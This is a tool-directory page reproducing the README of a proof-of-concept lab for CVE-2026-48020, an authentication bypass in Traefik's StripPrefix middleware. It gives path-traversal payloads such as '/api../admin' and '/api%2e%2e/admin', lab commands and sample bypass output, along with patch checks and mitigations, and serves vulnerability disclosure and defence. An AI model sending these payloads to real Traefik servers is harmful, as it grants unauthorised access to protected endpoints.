Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization | Kitploit
Tools/GitHubGitHub/hunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubhunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
1 month agoNot yet reviewed

CVE-2026-48020 — Traefik StripPrefix Route-Level Auth Bypass (PoC)

A self-contained proof of concept for CVE-2026-48020, a route-level authentication/authorization bypass in Traefik's StripPrefix middleware caused by path normalisation happening after routing decisions are made.

A request such as GET /api../admin is routed through a public PathPrefix(\/api`)router at routing time (so the protected router'sbasicAuthmiddleware is never attached), but afterStripPrefixstrips/apiand Go'sreq.URL.JoinPath()normalises the remaining/../admin, the backend receives /admin` — a path that was supposed to be guarded.

Lab layout

root@kitploit:~
client (poc.py)
   │  GET /api../admin        ← no credentials
   ▼
Traefik :18080   ──routing──▶ public-api router (PathPrefix /api)  + StripPrefix
                   (skips)   protected router  (PathPrefix /admin) + basicAuth
   │  after StripPrefix("/api"):  /../admin  ──JoinPath()──▶  /admin
   ▼
backend :9000   ──▶  200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }

Files

Reproduce

root@kitploit:~
docker compose up -d --wait          # start Traefik v3.7.1 + backend
python3 poc.py                        # run the bypass checks

Expected output on a vulnerable Traefik

root@kitploit:~
[*] Target: http://127.0.0.1:18080

  [blocked] direct protected (auth enforced)      /admin
          -> status=401  body=...
  [blocked] direct protected (auth enforced)      /internal/config
          -> status=401  body=...
  [safe  ] public strip + exclusion (safe)        /api/admin
          -> status=404  body=...
  [safe  ] public strip + exclusion (safe)        /api/internal/config
          -> status=404  body=...
  [!] BYPASS  literal ..                          /api../admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  [!] BYPASS  encoded %2e%2e                      /api%2e%2e/admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  ...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.

On a patched Traefik (v3.7.3)

The bypass payloads return 404 instead of 200. The patch (Traefik PR #13215) rejects any request whose path differs after StripPrefix/StripPrefixRegex normalisation, so the /../admin rewrite is detected and refused.

Verify the fix

root@kitploit:~
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py        # bypass payloads now return 404 -> "No bypass observed"

Mitigations (without upgrading)

Prevent the public route from matching the traversal form at all:

root@kitploit:~
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`)  +  StripPrefix(`/api/`)

Disclosure

Reported to the Traefik maintainers by WonYun / kyun0 (GitHub: H4ck2); fixed in GHSA-xf64-8mw2-4gr2. This PoC lab is an independent reproduction built for the accompanying article: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.

Download Tool
CVECVE-2026-48020
GHSAGHSA-xf64-8mw2-4gr2
CVSS 3.1 (NVD)10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
AffectedTraefik <= v2.11.46, <= v3.6.17, <= v3.7.1
Fixed inv2.11.48, v3.6.19, v3.7.3
FilePurpose
docker-compose.ymlSpins up a vulnerable Traefik (v3.7.1) + a Python backend
dynamic.ymlTraefik dynamic config: a public /api strip route and a protected /admin,/internal route behind basicAuth
backend.pyTiny backend that returns a secret for the protected paths
poc.pySends the bypass payloads and reports which paths were reached